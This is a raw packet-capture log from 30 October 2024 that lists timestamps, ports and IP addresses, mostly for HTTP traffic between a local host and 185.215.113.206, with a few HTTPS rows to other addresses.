Oct 30, 2024 23:11:55.057676077 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.057703018 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.057734013 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.060744047 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.060760021 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.060784101 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.060801983 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.062279940 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.062331915 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.063334942 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.063352108 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.063385010 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.063400984 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.066514969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.066533089 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.066597939 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.068042994 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.069016933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.069034100 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.069047928 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.069061995 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.069098949 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.072354078 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.074764967 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.074783087 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.074804068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.074824095 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.074827909 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.074850082 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.074865103 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.080246925 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.080264091 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.080288887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.080307961 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.080600977 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.080629110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.080643892 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.080661058 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.080672979 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.080708981 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.086375952 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.086401939 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.086452007 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.086477995 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.086496115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.086510897 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.086512089 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.086541891 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.092119932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.092137098 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.092153072 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.092184067 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.092196941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.092237949 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.092255116 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.097878933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.097907066 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.097928047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.097930908 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.097948074 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.097949028 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.097965956 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.097965956 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.097982883 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.098000050 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.103719950 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.103751898 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.103766918 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.103782892 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.103785038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.103800058 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.103812933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.103831053 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.103849888 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.103867054 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.109438896 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.109461069 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.109492064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.109503031 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.109509945 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.109524965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.109539986 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.109595060 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.109595060 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.115170956 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.115186930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.115212917 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.115231037 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.115238905 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.115262985 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.115278959 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.115385056 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.120887041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.120933056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.120953083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.120974064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.120978117 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.121001005 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.121017933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.121033907 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.121035099 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.121076107 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.121213913 CET	443	49886	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:55.121284008 CET	443	49886	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:55.121375084 CET	49886	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:55.126782894 CET	443	49885	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:55.126869917 CET	443	49885	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:55.126979113 CET	49885	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:55.132433891 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.132451057 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.132472038 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.132488966 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.132503986 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.132541895 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.134908915 CET	443	50028	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.135330915 CET	50028	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.135343075 CET	443	50028	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.136025906 CET	50028	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.136029959 CET	443	50028	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.138017893 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.138034105 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.138047934 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.138092995 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.138109922 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.138113976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.138128996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.138144970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.138153076 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.138181925 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.143858910 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.143873930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.144068003 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.149564028 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.149590969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.149626970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.149627924 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.149643898 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.149647951 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.149660110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.149667978 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.149682999 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.149684906 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.149703026 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.149719000 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.155257940 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.155275106 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.155308962 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.155333996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.155339956 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.155358076 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.155383110 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.155400038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.161015034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.161031961 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.161056995 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.161083937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.161088943 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.161099911 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.161107063 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.161117077 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.161139965 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.161159039 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.166764975 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.166785002 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.166815996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.166831970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.166846037 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.166847944 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.166870117 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.166899920 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.172518969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.172534943 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.172554970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.172574997 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.172595978 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.172629118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.172656059 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.172672033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.172703028 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.172722101 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.178214073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.178231955 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.178246021 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.178260088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.178292990 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.178302050 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.178318024 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.178328037 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.178332090 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.178359032 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.178385019 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.183913946 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.183931112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.183958054 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.183981895 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.183981895 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.184006929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.184031963 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.184056997 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.189613104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.189630032 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.189660072 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.189663887 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.189682007 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.189683914 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.189697027 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.189702988 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.189713001 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.189727068 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.189764023 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195507050 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195523977 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195538998 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195553064 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195554972 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195576906 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195595980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195611954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195612907 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195627928 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195641994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195645094 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195662022 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195672989 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195677042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195692062 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195694923 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195710897 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195723057 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195727110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195744991 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195755005 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195770025 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195774078 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195786953 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195801973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195802927 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195822954 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195841074 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.195910931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.195979118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196003914 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196018934 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196023941 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.196034908 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196052074 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196053028 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.196070910 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196074963 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.196104050 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.196135044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196150064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196157932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196165085 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196171045 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196178913 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196187973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196196079 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196203947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196218967 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196238995 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196258068 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.196274042 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.196964979 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196981907 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.196996927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197012901 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197014093 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197026968 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197031975 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197042942 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197052956 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197060108 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197077990 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197083950 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197094917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197103977 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197112083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197128057 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197130919 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197144985 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197158098 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197161913 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197179079 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197185993 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197196007 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197211981 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197237968 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197238922 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197257042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197271109 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197289944 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197313070 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197315931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197348118 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197799921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197818041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197832108 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.197858095 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.197880983 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.237775087 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.237821102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.237837076 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.237911940 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.237911940 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.261879921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.261940956 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.261949062 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.261959076 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.261993885 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.262038946 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262054920 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262094975 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.262132883 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262172937 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.262192011 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262207031 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262243032 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.262288094 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262304068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262337923 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.262417078 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262433052 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262473106 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.262883902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262976885 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.262995958 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263011932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263020992 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263055086 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263108969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263144970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263160944 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263180971 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263205051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263252020 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263267994 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263288975 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263305902 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263370991 CET	80	49980	185.215.113.206	192.168.2.5
